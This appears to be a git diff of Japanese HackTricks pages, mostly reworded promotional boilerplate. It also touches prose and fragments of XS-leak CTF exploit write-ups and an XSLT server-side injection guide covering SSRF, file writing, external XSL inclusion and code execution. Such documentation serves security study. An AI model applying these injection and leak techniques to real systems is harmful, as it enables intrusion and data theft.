* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>
@ -66,9 +66,9 @@ break;
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**最新版のPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、PRを**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

File diff suppressed because one or more lines are too long

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または、**PEASS の最新バージョンにアクセス**したいですか?または、**HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* [**公式 PEASS & HackTricks スウェグ**](https://peass.creator-spring.com) を手に入れましょう
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。**
* **ハッキングテクニックを共有するために、** [**hacktricks リポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud リポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に PR を提出してください。**
</details>
```javascript
@ -79,10 +79,10 @@ hack.innerHTML = iframe
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[💬 Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、PRを**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -7,17 +7,17 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>
**[https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**からのエクスプロイト
このチャレンジでは、ユーザーは数千の文字を送信し、フラグが含まれている場合、文字がボットに送り返されます。したがって、攻撃者は大量の文字を送信して、フラグが送信された文字列に含まれているかどうかを測定できます。
このチャレンジでは、ユーザーは数千の文字を送信し、フラグが含まれている場合、文字がボットに送り返されます。したがって、攻撃者は多くの文字を送信することで、フラグが送信された文字列に含まれているかどうかを測定できます。
{% hint style="warning" %}
最初はオブジェクトの幅と高さを設定していませんでしたが、後で、デフォルトのサイズはロード時間に影響を与えるには小さすぎることが重要であることがわかりました。
最初はオブジェクトの幅と高さを設定していませんでしたが、後で、デフォルトのサイズは読み込み時間に影響を与えるには小さすぎることが重要であることがわかりました。
{% endhint %}
```html
<!DOCTYPE html>
@ -119,9 +119,9 @@ main()
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新版のPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)**と**[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -7,12 +7,12 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>
**[https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**から取得した例
**例は[https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)から取得されました**
```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
@ -58,10 +58,10 @@ document.addEventListener('DOMContentLoaded', main);
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、PRを**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>
@ -82,10 +82,10 @@ app.run(host='0.0.0.0', port=1337)
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新版のPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬 Discordグループ](https://emojipedia.org/speech-balloon/)**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
* **[💬 Discordグループ](https://emojipedia.org/speech-balloon/)に参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
</details>

View file

@ -1,20 +1,20 @@
# XSLTサーバーサイドインジェクションExtensible Stylesheet Language Transformations
# XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
## 基本情報
XSLTは、XMLドキュメントを異なる形式に変換するために使用される技術です。バージョン1、2、3の3つのバージョンがあり、バージョン1が最も一般的に使用されています。変換プロセスは、サーバー上またはブラウザ内で実行できます。
XSLTは、XMLドキュメントを異なる形式に変換するために使用される技術です。バージョン1、2、3の3つのバージョンがあり、バージョン1が最も一般的に使用されています。変換プロセスは、サーバー上またはブラウザ内で実行できます。
最も頻繁に使用されるフレームワークには次のものがあります:
@ -22,7 +22,7 @@ XSLTは、XMLドキュメントを異なる形式に変換するために使用
- **Apache**の**Xalan**
- **Saxonica**の**Saxon**
XSLTに関連する脆弱性を悪用するためには、xslタグをサーバーサイドに保存し、そのコンテンツにアクセスする必要があります。このような脆弱性の例は、次のソースに記載されています:[https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)。
XSLTに関連する脆弱性を悪用するためには、xslタグをサーバーサイドに保存し、そのコンテンツにアクセスする必要があります。このような脆弱性の例は、次のソースで文書化されています:[https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)。
## 例 - チュートリアル
```bash
@ -168,7 +168,7 @@ SSRFServer-Side Request Forgery、サーバーサイドリクエストフォ
```
### バージョン
XSLTのバージョンによって、関数の数が異なる可能性があります:
使用されているXSLTバージョンに応じて、関数の数が増減する可能性があります:
* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
@ -334,7 +334,7 @@ SSRFServer-Side Request Forgery、サーバーサイドリクエストフォ
<redirect:close file="loxal_file.txt"/>
</xsl:template>
```
他の方法として、PDFファイルにファイルを書き込む方法があります
他の方法は、PDFファイルに書き込むことができます
## 外部XSLを含める
```xml
@ -370,7 +370,7 @@ xmlns:php="http://php.net/xsl" >
```
### **他のフレームワークを使用してコードを実行する**
**このページでは、他の言語でのRCEの例を見つけることができます:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#、Java、PHP)**
**このページでは、他の言語でのRCEの例を見つけることができます:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
## **クラスからPHPの静的関数にアクセスする**
@ -407,10 +407,10 @@ version="1.0">
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新版のPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新版のPEASSにアクセス**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
* [**公式PEASSHackTricksのスウォッグ**](https://peass.creator-spring.com)を手に入れましょう。
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details>

View file

@ -5,16 +5,16 @@
